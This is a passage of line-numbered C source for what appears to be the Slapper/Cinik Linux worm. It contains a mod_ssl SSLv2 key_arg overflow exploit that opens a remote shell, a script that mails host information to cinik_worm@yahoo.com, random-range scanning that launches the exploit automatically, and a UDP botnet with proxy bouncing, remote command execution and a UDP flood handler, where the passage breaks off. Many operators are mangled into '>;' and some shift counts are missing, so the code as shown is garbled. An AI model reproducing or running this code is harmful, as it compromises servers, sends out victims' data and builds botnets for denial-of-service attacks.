  397. writem(sockfd,"echo 'echo HDD >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
  398. writem(sockfd,"echo 'cat /bin/df -h >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
  399. writem(sockfd,"echo 'echo IP >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
  400. writem(sockfd,"echo 'cat /sbin/ifconfig >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
  401. writem(sockfd,"echo ' '>;>; /tmp/.cinik.go\n");
  402. writem(sockfd,"echo 'myip=`/sbin/ifconfig eth0 | head -2 | tail -1 | cut -d: -f2 | cut -d\" \" -f1`'>;>; /tmp/.cinik.go\n");
  403. writem(sockfd,"echo 'mail cinik_worm@yahoo.com -s \"$myip\" < /tmp/cinik.status'>;>; /tmp/.cinik.go\n");
  404. writem(sockfd,"echo 'rm -f /tmp/cinik.status'>;>; /tmp/.cinik.go\n");
  405. writem(sockfd,"chmod a+x /tmp/.cinik.go;/tmp/.cinik.go;exit");

  406. for (; {
  407. FD_ZERO(&rset);
  408. FD_SET(sockfd, &rset);
  409. select(sockfd+1, &rset, NULL, NULL, NULL);
  410. if (FD_ISSET(sockfd, &rset)) if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) return 0;
  411. }
  412. }

  413. int get_local_port(int sock) {
  414. struct sockaddr_in s_in;
  415. unsigned int namelen = sizeof(s_in);
  416. if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) exit(1);
  417. return s_in.sin_port;
  418. }

  419. int connect_host(char* host, int port) {
  420. struct sockaddr_in s_in;
  421. int sock;
  422. s_in.sin_family = AF_INET;
  423. s_in.sin_addr.s_addr = getip(host);
  424. s_in.sin_port = htons(port);
  425. if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) exit(1);
  426. alarm(10);
  427. if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) exit(1);
  428. alarm(0);
  429. return sock;
  430. }

  431. ssl_conn* ssl_connect_host(char* host, int port) {
  432. ssl_conn* ssl;
  433. if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) exit(1);
  434. ssl->;encrypted = 0;
  435. ssl->;write_seq = 0;
  436. ssl->;read_seq = 0;
  437. ssl->;sock = connect_host(host, port);
  438. return ssl;
  439. }

  440. char res_buf[30];

  441. int read_data(int sock, unsigned char* buf, int len) {
  442. int l;
  443. int to_read = len;
  444. do {
  445. if ((l = read(sock, buf, to_read)) < 0) exit(1);
  446. to_read -= len;
  447. } while (to_read >; 0);
  448. return len;
  449. }

  450. int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size) {
  451. int rec_len, padding;
  452. read_data(ssl->;sock, buf, 2);
  453. if ((buf[0] & 0x80) == 0) {
  454. rec_len = ((buf[0] & 0x3f) <<  | buf[1];
  455. read_data(ssl->;sock, &buf[2], 1);
  456. padding = (int)buf[2];
  457. }
  458. else {
  459. rec_len = ((buf[0] & 0x7f) <<  | buf[1];
  460. padding = 0;
  461. }
  462. if ((rec_len <= 0) || (rec_len >; buf_size)) exit(1);
  463. read_data(ssl->;sock, buf, rec_len);
  464. if (ssl->;encrypted) {
  465. if (MD5_DIGEST_LENGTH + padding >;= rec_len) {
  466. if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) return 0;
  467. else exit(1);
  468. }
  469. RC4(ssl->;rc4_read_key, rec_len, buf, buf);
  470. rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
  471. memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
  472. }
  473. if (buf[0] == SSL2_MT_ERROR) {
  474. if (rec_len != 3) exit(1);
  475. else return 0;
  476. }
  477. return rec_len;
  478. }

  479. void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len) {
  480. unsigned char buf[BUFSIZE];
  481. unsigned char* p;
  482. int tot_len;
  483. MD5_CTX ctx;
  484. int seq;
  485. if (ssl->;encrypted) tot_len = rec_len + MD5_DIGEST_LENGTH;
  486. else tot_len = rec_len;

  487. if (2 + tot_len >; BUFSIZE) exit(1);

  488. p = buf;
  489. s2n(tot_len, p);

  490. buf[0] = buf[0] | 0x80;

  491. if (ssl->;encrypted) {
  492. seq = ntohl(ssl->;write_seq);

  493. MD5_Init(&ctx);
  494. MD5_Update(&ctx, ssl->;write_key, RC4_KEY_LENGTH);
  495. MD5_Update(&ctx, rec, rec_len);
  496. MD5_Update(&ctx, &seq, 4);
  497. MD5_Final(p, &ctx);

  498. p+=MD5_DIGEST_LENGTH;

  499. memcpy(p, rec, rec_len);

  500. RC4(ssl->;rc4_write_key, tot_len, &buf[2], &buf[2]);
  501. }
  502. else memcpy(p, rec, rec_len);

  503. send(ssl->;sock, buf, 2 + tot_len, 0);

  504. ssl->;write_seq++;
  505. }

  506. void send_client_hello(ssl_conn *ssl) {
  507. int i;
  508. unsigned char buf[BUFSIZE] =
  509. "\x01"
  510. "\x00\x02"
  511. "\x00\x18"
  512. "\x00\x00"
  513. "\x00\x10"
  514. "\x07\x00\xc0\x05\x00\x80\x03\x00"
  515. "\x80\x01\x00\x80\x08\x00\x80\x06"
  516. "\x00\x40\x04\x00\x80\x02\x00\x80"
  517. "";
  518. for (i = 0; i < CHALLENGE_LENGTH; i++) ssl->;challenge[i] = (unsigned char) (rand() >;>; 24);
  519. memcpy(&buf[33], ssl->;challenge, CHALLENGE_LENGTH);
  520. send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
  521. }

  522. void get_server_hello(ssl_conn* ssl) {
  523. unsigned char buf[BUFSIZE];
  524. unsigned char *p, *end;
  525. int len;
  526. int server_version, cert_length, cs_length, conn_id_length;
  527. int found;

  528. if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
  529. if (len < 11) exit(1);

  530. p = buf;

  531. if (*(p++) != SSL2_MT_SERVER_HELLO) exit(1);
  532. if (*(p++) != 0) exit(1);
  533. if (*(p++) != 1) exit(1);
  534. n2s(p, server_version);
  535. if (server_version != 2) exit(1);

  536. n2s(p, cert_length);
  537. n2s(p, cs_length);
  538. n2s(p, conn_id_length);

  539. if (len != 11 + cert_length + cs_length + conn_id_length) exit(1);
  540. ssl->;x509 = NULL;
  541. ssl->;x509=d2i_X509(NULL,&p,(long)cert_length);
  542. if (ssl->;x509 == NULL) exit(1);
  543. if (cs_length % 3 != 0) exit(1);

  544. found = 0;
  545. for (end=p+cs_length; p < end; p += 3) if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80)) found = 1;

  546. if (!found) exit(1);

  547. if (conn_id_length >; SSL2_MAX_CONNECTION_ID_LENGTH) exit(1);

  548. ssl->;conn_id_length = conn_id_length;
  549. memcpy(ssl->;conn_id, p, conn_id_length);
  550. }

  551. void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
  552. int encrypted_key_length, key_arg_length, record_length;
  553. unsigned char* p;
  554. int i;
  555. EVP_PKEY *pkey=NULL;
  556. unsigned char buf[BUFSIZE] =
  557. "\x02"
  558. "\x01\x00\x80"
  559. "\x00\x00"
  560. "\x00\x40"
  561. "\x00\x08";
  562. p = &buf[10];
  563. for (i = 0; i < RC4_KEY_LENGTH; i++) ssl->;master_key[i] = (unsigned char) (rand() >;>; 24);
  564. pkey=X509_get_pubkey(ssl->;x509);
  565. if (!pkey) exit(1);
  566. if (pkey->;type != EVP_PKEY_RSA) exit(1);
  567. encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->;master_key, &buf[10], pkey->;pkey.rsa, RSA_PKCS1_PADDING);
  568. if (encrypted_key_length <= 0) exit(1);
  569. p += encrypted_key_length;
  570. if (key_arg_overwrite) {
  571. for (i = 0; i < 8; i++) *(p++) = (unsigned char) (rand() >;>; 24);
  572. memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
  573. key_arg_length = 8 + key_arg_overwrite_len;
  574. }
  575. else key_arg_length = 0;
  576. p = &buf[6];
  577. s2n(encrypted_key_length, p);
  578. s2n(key_arg_length, p);
  579. record_length = 10 + encrypted_key_length + key_arg_length;
  580. send_ssl_packet(ssl, buf, record_length);
  581. ssl->;encrypted = 1;
  582. }

  583. void generate_key_material(ssl_conn* ssl) {
  584. unsigned int i;
  585. MD5_CTX ctx;
  586. unsigned char *km;
  587. unsigned char c='0';
  588. km=ssl->;key_material;
  589. for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
  590. MD5_Init(&ctx);
  591. MD5_Update(&ctx,ssl->;master_key,RC4_KEY_LENGTH);
  592. MD5_Update(&ctx,&c,1);
  593. c++;
  594. MD5_Update(&ctx,ssl->;challenge,CHALLENGE_LENGTH);
  595. MD5_Update(&ctx,ssl->;conn_id, ssl->;conn_id_length);
  596. MD5_Final(km,&ctx);
  597. km+=MD5_DIGEST_LENGTH;
  598. }
  599. }

  600. void generate_session_keys(ssl_conn* ssl) {
  601. generate_key_material(ssl);
  602. ssl->;read_key = &(ssl->;key_material[0]);
  603. ssl->;rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
  604. RC4_set_key(ssl->;rc4_read_key, RC4_KEY_LENGTH, ssl->;read_key);
  605. ssl->;write_key = &(ssl->;key_material[RC4_KEY_LENGTH]);
  606. ssl->;rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
  607. RC4_set_key(ssl->;rc4_write_key, RC4_KEY_LENGTH, ssl->;write_key);
  608. }

  609. void get_server_verify(ssl_conn* ssl) {
  610. unsigned char buf[BUFSIZE];
  611. int len;
  612. if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
  613. if (len != 1 + CHALLENGE_LENGTH) exit(1);
  614. if (buf[0] != SSL2_MT_SERVER_VERIFY) exit(1);
  615. if (memcmp(ssl->;challenge, &buf[1], CHALLENGE_LENGTH)) exit(1);
  616. }

  617. void send_client_finished(ssl_conn* ssl) {
  618. unsigned char buf[BUFSIZE];
  619. buf[0] = SSL2_MT_CLIENT_FINISHED;
  620. memcpy(&buf[1], ssl->;conn_id, ssl->;conn_id_length);
  621. send_ssl_packet(ssl, buf, 1+ssl->;conn_id_length);
  622. }

  623. void get_server_finished(ssl_conn* ssl) {
  624. unsigned char buf[BUFSIZE];
  625. int len;
  626. int i;
  627. if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
  628. if (buf[0] != SSL2_MT_SERVER_FINISHED) exit(1);
  629. if (len <= 112) exit(1);
  630. cipher = *(int*)&buf[101];
  631. ciphers = *(int*)&buf[109];
  632. }

  633. void get_server_error(ssl_conn* ssl) {
  634. unsigned char buf[BUFSIZE];
  635. int len;
  636. if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) >; 0) exit(1);
  637. }

  638. void exploit(char *ip) {
  639. int port = 443;
  640. int i;
  641. int arch=-1;
  642. int N = 20;
  643. ssl_conn* ssl1;
  644. ssl_conn* ssl2;
  645. char *a;

  646. alarm(3600);
  647. if ((a=GetAddress(ip)) == NULL) exit(0);
  648. if (strncmp(a,"Apache",6)) exit(0);
  649. for (i=0;i<MAX_ARCH;i++) {
  650. if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
  651. arch=i;
  652. break;
  653. }
  654. }
  655. if (arch == -1) arch=9;

  656. srand(0x31337);

  657. for (i=0; i<N; i++) {
  658. connect_host(ip, port);
  659. usleep(100000);
  660. }

  661. ssl1 = ssl_connect_host(ip, port);
  662. ssl2 = ssl_connect_host(ip, port);

  663. send_client_hello(ssl1);
  664. get_server_hello(ssl1);
  665. send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
  666. generate_session_keys(ssl1);
  667. get_server_verify(ssl1);
  668. send_client_finished(ssl1);
  669. get_server_finished(ssl1);

  670. port = get_local_port(ssl2->;sock);
  671. overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
  672. overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >;>;  & 0xff);

  673. *(int*)&overwrite_next_chunk[156] = cipher;
  674. *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
  675. *(int*)&overwrite_next_chunk[196] = ciphers + 16;

  676. send_client_hello(ssl2);
  677. get_server_hello(ssl2);

  678. send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
  679. generate_session_keys(ssl2);
  680. get_server_verify(ssl2);

  681. for (i = 0; i < ssl2->;conn_id_length; i++) ssl2->;conn_id[i] = (unsigned char) (rand() >;>; 24);

  682. send_client_finished(ssl2);
  683. get_server_error(ssl2);

  684. sh(ssl2->;sock);

  685. close(ssl2->;sock);
  686. close(ssl1->;sock);

  687. exit(0);
  688. }
  689. #endif

  690. //////////////////////////////////////////////////////////////////////////////////////
  691. //////////////////////////////////////////////////////////////////////////////////////
  692. //////////////////////////////////////////////////////////////////////////////////////

  693. int main(int argc, char **argv) {
  694. #ifdef SCAN
  695. unsigned char a=0,b=0,c=0,d=0;
  696. #endif
  697. unsigned long bases,*cpbases;
  698. struct initsrv_rec initrec;
  699. int null=open("/dev/null",O_RDWR);
  700. uptime=time(NULL);
  701. if (argc <= 1) {
  702. printf("%s: Exec format error. Binary file not executable.\n",argv[0]);
  703. return 0;
  704. }
  705. srand(time(NULL)^getpid());
  706. memset((char*)&routes,0,sizeof(struct route_table)*24);
  707. memset(clients,0,sizeof(struct ainst)*CLIENTS*2);
  708. if (audp_listen(&udpserver,PORT) != 0) {
  709. printf("Error: %s\n",aerror(&udpserver));
  710. return 0;
  711. }
  712. memset((void*)&initrec,0,sizeof(struct initsrv_rec));
  713. initrec.h.tag=0x70;
  714. initrec.h.len=0;
  715. initrec.h.id=0;
  716. cpbases=(unsigned long*)malloc(sizeof(unsigned long)*argc);
  717. if (cpbases == NULL) {
  718. printf("Insufficient memory\n");
  719. return 0;
  720. }
  721. for (bases=1;bases<argc;bases++) {
  722. cpbases[bases-1]=aresolve(argv[bases]);
  723. relay(cpbases[bases-1],(char*)&initrec,sizeof(struct initsrv_rec));
  724. }
  725. numlinks=0;
  726. dup2(null,0);
  727. dup2(null,1);
  728. dup2(null,2);
  729. if (fork()) return 1;
  730. #ifdef SCAN
  731. a=classes[rand()%(sizeof classes)];
  732. b=rand();
  733. c=0;
  734. d=0;
  735. #endif
  736. signal(SIGCHLD,nas);
  737. signal(SIGHUP,nas);
  738. while (1) {
  739. static unsigned long timeout=0,timeout2=0,timeout3=0;
  740. char buf_[3000],*buf=buf_;
  741. int n=0,p=0;
  742. long l=0,i=0;
  743. unsigned long start=time(NULL);
  744. fd_set read;
  745. struct timeval tm;

  746. FD_ZERO(&read);
  747. if (udpserver.sock >; 0) FD_SET(udpserver.sock,&read);
  748. udpserver.len=0;
  749. l=udpserver.sock;
  750. for (n=0;n<(CLIENTS*2);n++) if (clients[n].sock >; 0) {
  751. FD_SET(clients[n].sock,&read);
  752. clients[n].len=0;
  753. if (clients[n].sock >; l) l=clients[n].sock;
  754. }
  755. memset((void*)&tm,0,sizeof(struct timeval));
  756. tm.tv_sec=2;
  757. tm.tv_usec=0;
  758. l=select(l+1,&read,NULL,NULL,&tm);

  759. if (l == -1) {
  760. if (errno == EINTR) {
  761. for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) >; 0) {
  762. unsigned int *newpids,on;
  763. for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  764. pids[on-1]=0;
  765. numpids--;
  766. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  767. if (newpids != NULL) {
  768. for (on=0;on<numpids;on++) newpids[on]=pids[on];
  769. FREE(pids);
  770. pids=newpids;
  771. }
  772. }
  773. }
  774. continue;
  775. }
  776. timeout+=time(NULL)-start;
  777. if (timeout >;= 60) {
  778. if (links == NULL || numlinks == 0) {
  779. memset((void*)&initrec,0,sizeof(struct initsrv_rec));
  780. initrec.h.tag=0x70;
  781. initrec.h.len=0;
  782. initrec.h.id=0;
  783. for (i=0;i<bases;i++) relay(cpbases[i],(char*)&initrec,sizeof(struct initsrv_rec));
  784. }
  785. else if (!myip) {
  786. memset((void*)&initrec,0,sizeof(struct initsrv_rec));
  787. initrec.h.tag=0x74;
  788. initrec.h.len=0;
  789. initrec.h.id=0;
  790. segment(2,(char*)&initrec,sizeof(struct initsrv_rec));
  791. }
  792. timeout=0;
  793. }
  794. timeout2+=time(NULL)-start;
  795. if (timeout2 >;= 3) {
  796. struct mqueue *getqueue=queues;
  797. while(getqueue != NULL) {
  798. if (time(NULL)-getqueue->;time >; gettimeout()) {
  799. struct mqueue *l=getqueue->;next;
  800. delqueue(getqueue->;id);
  801. delqueue(getqueue->;id);
  802. getqueue=l;
  803. continue;
  804. }
  805. else if ((time(NULL)-getqueue->;ltime) >;= (getqueue->;destination?6:3)) {
  806. struct ainst ts;
  807. char srv[256];
  808. unsigned char i;
  809. memset((void*)&ts,0,sizeof(struct ainst));
  810. getqueue->;ltime=time(NULL);
  811. if (getqueue->;destination) {
  812. conv(srv,256,getqueue->;destination);
  813. audp_relay(&udpserver,&ts,srv,getqueue->;port);
  814. audp_send(&ts,getqueue->;packet,getqueue->;len);
  815. }
  816. else for (i=0;i<getqueue->;trys;i++) segment(0,getqueue->;packet,getqueue->;len);
  817. }
  818. getqueue=getqueue->;next;
  819. }
  820. timeout2=0;
  821. }
  822. timeout3+=time(NULL)-start;
  823. if (timeout3 >;= 60*10) {
  824. char buf[2]={0,0};
  825. syncmode(1);
  826. broadcast(buf,1);
  827. timeout3=0;
  828. }

  829. if (udpserver.sock >; 0 && FD_ISSET(udpserver.sock,&read)) udpserver.len=AREAD;

  830. for (n=0;n<(CLIENTS*2);n++) if (clients[n].sock >; 0) if (FD_ISSET(clients[n].sock,&read)) clients[n].len=AREAD;

  831. #ifdef SCAN
  832. if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) {
  833. char srv[256];
  834. if (d == 255) {
  835. if (c == 255) {
  836. a=classes[rand()%(sizeof classes)];
  837. b=rand();
  838. c=0;
  839. }
  840. else c++;
  841. d=0;
  842. }
  843. else d++;
  844. memset(srv,0,256);
  845. sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
  846. clients[n].ext=time(NULL);
  847. atcp_sync_connect(&clients[n],srv,SCANPORT);
  848. p++;
  849. }
  850. for (n=CLIENTS;n<(CLIENTS*2);n++) if (clients[n].sock != 0) {
  851. p=atcp_sync_check(&clients[n]);
  852. if (p == ASUCCESS || p == ACONNECT || time(NULL)-((unsigned long)clients[n].ext) >;= 5) atcp_close(&clients[n]);
  853. if (p == ASUCCESS) {
  854. char srv[256];
  855. conv(srv,256,clients[n].in.sin_addr.s_addr);
  856. if (mfork() == 0) {
  857. exploit(srv);
  858. exit(0);
  859. }
  860. }
  861. }
  862. #endif
  863. for (n=0;n<CLIENTS;n++) if (clients[n].sock != 0) {
  864. if (clients[n].ext2 == TCP_PENDING) {
  865. struct add_rec rc;
  866. memset((void*)&rc,0,sizeof(struct add_rec));
  867. p=atcp_sync_check(&clients[n]);
  868. if (p == ACONNECT) {
  869. rc.h.tag=0x42;
  870. rc.h.seq=newseq();
  871. rc.h.id=clients[n].ext3;
  872. relayclient(clients[n].ext,(void*)&rc,sizeof(struct add_rec));
  873. FREE(clients[n].ext);
  874. FREE(clients[n].ext5);
  875. atcp_close(&clients[n]);
  876. }
  877. if (p == ASUCCESS) {
  878. rc.h.tag=0x43;
  879. rc.h.seq=newseq();
  880. rc.h.id=clients[n].ext3;
  881. relayclient(clients[n].ext,(void*)&rc,sizeof(struct add_rec));
  882. clients[n].ext2=TCP_CONNECTED;
  883. if (clients[n].ext5) {
  884. atcp_send(&clients[n],clients[n].ext5,9);
  885. clients[n].ext2=SOCKS_REPLY;
  886. }
  887. }
  888. }
  889. else if (clients[n].ext2 == SOCKS_REPLY && clients[n].len != 0) {
  890. struct add_rec rc;
  891. memset((void*)&rc,0,sizeof(struct add_rec));
  892. l=atcp_recv(&clients[n],buf,3000);
  893. if (*buf == 0) clients[n].ext2=TCP_CONNECTED;
  894. else {
  895. rc.h.tag=0x42;
  896. rc.h.seq=newseq();
  897. rc.h.id=clients[n].ext3;
  898. relayclient(clients[n].ext,(void*)&rc,sizeof(struct add_rec));
  899. FREE(clients[n].ext);
  900. FREE(clients[n].ext5);
  901. atcp_close(&clients[n]);
  902. }
  903. }
  904. else if (clients[n].ext2 == TCP_CONNECTED && clients[n].len != 0) {
  905. struct data_rec rc;
  906. memset((void*)&rc,0,sizeof(struct data_rec));
  907. l=atcp_recv(&clients[n],buf+sizeof(struct data_rec),3000-sizeof(struct data_rec));
  908. if (l == AUNKNOWN) {
  909. struct kill_rec rc;
  910. memset((void*)&rc,0,sizeof(struct kill_rec));
  911. rc.h.tag=0x42;
  912. rc.h.seq=newseq();
  913. rc.h.id=clients[n].ext3;
  914. relayclient((struct ainst *)clients[n].ext,(void*)&rc,sizeof(struct kill_rec));
  915. FREE(clients[n].ext);
  916. FREE(clients[n].ext5);
  917. atcp_close(&clients[n]);
  918. }
  919. else {
  920. l=clients[n].len;
  921. rc.h.tag=0x41;
  922. rc.h.seq=newseq();
  923. rc.h.id=clients[n].ext3;
  924. rc.h.len=l;
  925. _encrypt(buf+sizeof(struct data_rec),l);
  926. memcpy(buf,(void*)&rc,sizeof(struct data_rec));
  927. relayclient((struct ainst *)clients[n].ext,buf,l+sizeof(struct data_rec));
  928. }
  929. }
  930. }

  931. if (udpserver.len != 0) if (!audp_recv(&udpserver,&udpclient,buf,3000)) {
  932. struct llheader *llrp, ll;
  933. struct header *tmp;
  934. in++;
  935. if (udpserver.len < 0 || udpserver.len < sizeof(struct llheader)) continue;
  936. buf+=sizeof(struct llheader);
  937. udpserver.len-=sizeof(struct llheader);
  938. llrp=(struct llheader *)(buf-sizeof(struct llheader));
  939. tmp=(struct header *)buf;
  940. if (llrp->;type == 0) {
  941. memset((void*)&ll,0,sizeof(struct llheader));
  942. if (llrp->;checksum != in_cksum(buf,udpserver.len)) continue;
  943. if (!usersa(llrp->;id)) addrsa(llrp->;id);
  944. else continue;
  945. ll.type=1;
  946. ll.checksum=0;
  947. ll.id=llrp->;id;
  948. if (tmp->;tag != 0x26) audp_send(&udpclient,(char*)&ll,sizeof(struct llheader));
  949. }
  950. else if (llrp->;type == 1) {
  951. delqueue(llrp->;id);
  952. continue;
  953. }
  954. else continue;
  955. if (udpserver.len >;= sizeof(struct header)) {
  956. switch(tmp->;tag) {
  957. case 0x20: { // Info
  958. struct getinfo_rec *rp=(struct getinfo_rec *)buf;
  959. struct info_rec rc;
  960. if (udpserver.len < sizeof(struct getinfo_rec)) break;
  961. memset((void*)&rc,0,sizeof(struct info_rec));
  962. rc.h.tag=0x47;
  963. rc.h.id=tmp->;id;
  964. rc.h.seq=newseq();
  965. rc.h.len=0;
  966. #ifdef SCAN
  967. rc.a=a;
  968. rc.b=b;
  969. rc.c=c;
  970. rc.d=d;
  971. #endif
  972. rc.ip=myip;
  973. rc.uptime=time(NULL)-uptime;
  974. rc.in=in;
  975. rc.out=out;
  976. rc.version=VERSION;
  977. rc.reqtime=rp->;time;
  978. rc.reqmtime=rp->;mtime;
  979. relayclient(&udpclient,(char*)&rc,sizeof(struct info_rec));
  980. } break;
  981. case 0x21: { // Open a bounce
  982. struct add_rec *sr=(struct add_rec *)buf;
  983. if (udpserver.len < sizeof(struct add_rec)) break;
  984. for (n=0;n<CLIENTS;n++) if (clients[n].sock == 0) {
  985. char srv[256];
  986. if (sr->;socks == 0) conv(srv,256,sr->;server);
  987. else conv(srv,256,sr->;socks);
  988. clients[n].ext2=TCP_PENDING;
  989. clients[n].ext3=sr->;h.id;
  990. clients[n].ext=(struct ainst*)malloc(sizeof(struct ainst));
  991. if (clients[n].ext == NULL) {
  992. clients[n].sock=0;
  993. break;
  994. }
  995. memcpy((void*)clients[n].ext,(void*)&udpclient,sizeof(struct ainst));
  996. if (sr->;socks == 0) {
  997. clients[n].ext5=NULL;
  998. atcp_sync_connect(&clients[n],srv,sr->;port);
  999. }
  1000. else {
  1001. clients[n].ext5=(char*)malloc(9);
  1002. if (clients[n].ext5 == NULL) {
  1003. clients[n].sock=0;
  1004. break;
  1005. }
  1006. ((char*)clients[n].ext5)[0]=0x04;
  1007. ((char*)clients[n].ext5)[1]=0x01;
  1008. ((char*)clients[n].ext5)[2]=((char*)&sr->;port)[1];
  1009. ((char*)clients[n].ext5)[3]=((char*)&sr->;port)[0];
  1010. ((char*)clients[n].ext5)[4]=((char*)&sr->;server)[0];
  1011. ((char*)clients[n].ext5)[5]=((char*)&sr->;server)[1];
  1012. ((char*)clients[n].ext5)[6]=((char*)&sr->;server)[2];
  1013. ((char*)clients[n].ext5)[7]=((char*)&sr->;server)[3];
  1014. ((char*)clients[n].ext5)[8]=0x00;
  1015. atcp_sync_connect(&clients[n],srv,1080);
  1016. }
  1017. if (sr->;bind) abind(&clients[n],sr->;bind,0);
  1018. break;
  1019. }
  1020. } break;
  1021. case 0x22: { // Close a bounce
  1022. struct kill_rec *sr=(struct kill_rec *)buf;
  1023. if (udpserver.len < sizeof(struct kill_rec)) break;
  1024. for (n=0;n<CLIENTS;n++) if (clients[n].ext3 == sr->;h.id) {
  1025. FREE(clients[n].ext);
  1026. FREE(clients[n].ext5);
  1027. atcp_close(&clients[n]);
  1028. }
  1029. } break;
  1030. case 0x23: { // Send a message to a bounce
  1031. struct data_rec *sr=(struct data_rec *)buf;
  1032. if (udpserver.len < sizeof(struct data_rec)+sr->;h.len) break;
  1033. for (n=0;n<CLIENTS;n++) if (clients[n].ext3 == sr->;h.id) {
  1034. _decrypt(buf+sizeof(struct data_rec),sr->;h.len);
  1035. atcp_send(&clients[n],buf+sizeof(struct data_rec),sr->;h.len);
  1036. }
  1037. } break;
  1038. #ifndef LARGE_NET
  1039. case 0x24: { // Run a command
  1040. FILE *f;
  1041. struct sh_rec *sr=(struct sh_rec *)buf;
  1042. int id;
  1043. if (udpserver.len < sizeof(struct sh_rec)+sr->;h.len || sr->;h.len >; 2999-sizeof(struct sh_rec)) break;
  1044. id=sr->;h.id;
  1045. (buf+sizeof(struct sh_rec))[sr->;h.len]=0;
  1046. _decrypt(buf+sizeof(struct sh_rec),sr->;h.len);
  1047. f=popen(buf+sizeof(struct sh_rec),"r");
  1048. if (f != NULL) {
  1049. while(1) {
  1050. struct data_rec rc;
  1051. char *str;
  1052. unsigned long len;
  1053. memset(buf,0,3000);
  1054. fgets(buf,3000,f);
  1055. if (feof(f)) break;
  1056. len=strlen(buf);
  1057. memset((void*)&rc,0,sizeof(struct data_rec));
  1058. rc.h.tag=0x41;
  1059. rc.h.seq=newseq();
  1060. rc.h.id=id;
  1061. rc.h.len=len;
  1062. _encrypt(buf,len);
  1063. str=(char*)malloc(sizeof(struct data_rec)+len);
  1064. if (str == NULL) break;
  1065. memcpy((void*)str,(void*)&rc,sizeof(struct data_rec));
  1066. memcpy((void*)(str+sizeof(struct data_rec)),buf,len);
  1067. relayclient(&udpclient,str,sizeof(struct data_rec)+len);
  1068. FREE(str);
  1069. }
  1070. pclose(f);
  1071. }
  1072. else senderror(&udpclient,id,"Unable to execute command");
  1073. } break;
  1074. #endif
  1075. case 0x25: {
  1076. } break;
  1077. case 0x26: { // Route
  1078. struct route_rec *rp=(struct route_rec *)buf;
  1079. unsigned long i;
  1080. if (udpserver.len < sizeof(struct route_rec)) break;
  1081. if (!useseq(rp->;h.seq)) {
  1082. addseq(rp->;h.seq);
  1083. audp_send(&udpclient,(char*)&ll,sizeof(struct llheader));

  1084. if (rp->;sync == 1 && rp->;links != numlinks) {
  1085. if (time(NULL)-synctime >; 60) {
  1086. if (rp->;links >; numlinks) {
  1087. memset((void*)&initrec,0,sizeof(struct initsrv_rec));
  1088. initrec.h.tag=0x72;
  1089. initrec.h.len=0;
  1090. initrec.h.id=0;
  1091. relayclient(&udpclient,(char*)&initrec,sizeof(struct initsrv_rec));
  1092. }
  1093. else syncm(&udpclient,0x71,0);
  1094. synctime=time(NULL);
  1095. }
  1096. }
  1097. if (rp->;sync != 3) {
  1098. rp->;sync=1;
  1099. rp->;links=numlinks;
  1100. }

  1101. if (rp->;server == -1 || rp->;server == 0 || rp->;server == myip) relay(inet_addr("127.0.0.1"),buf+sizeof(struct route_rec),rp->;h.len-sizeof(struct route_rec));

  1102. if (rp->;server == -1 || rp->;server == 0) segment(2,buf,rp->;h.len);
  1103. else if (rp->;server != myip) {
  1104. if (rp->;hops == 0 || rp->;hops >; 16) relay(rp->;server,buf,rp->;h.len);
  1105. else {
  1106. rp->;hops--;
  1107. segment(2,buf,rp->;h.len);
  1108. }
  1109. }

  1110. for (i=LINKS;i>;0;i--) memcpy((struct route_table*)&routes[i],(struct route_table*)&routes[i-1],sizeof(struct route_table));
  1111. memset((struct route_table*)&routes[0],0,sizeof(struct route_table));
  1112. routes[0].id=rp->;h.id;
  1113. routes[0].ip=udpclient.in.sin_addr.s_addr;
  1114. routes[0].port=htons(udpclient.in.sin_port);
  1115. }
  1116. } break;
  1117. case 0x27: {
  1118. } break;
  1119. case 0x28: { // List
  1120. struct list_rec *rp=(struct list_rec *)buf;
  1121. if (udpserver.len < sizeof(struct list_rec)) break;
  1122. syncm(&udpclient,0x46,rp->;h.id);
  1123. } break;
  1124. case 0x29: { // Udp flood
  1125. int flag=1,fd,i=0;
  1126. char *str;
  1127. struct sockaddr_in in;
  1128. time_t start=time(NULL);
  1129. struct udp_rec *rp=(struct udp_rec *)buf;
  1130. if (udpserver.len < sizeof(struct udp_rec)) break;
  1131. if (rp->;size >; 9216) {
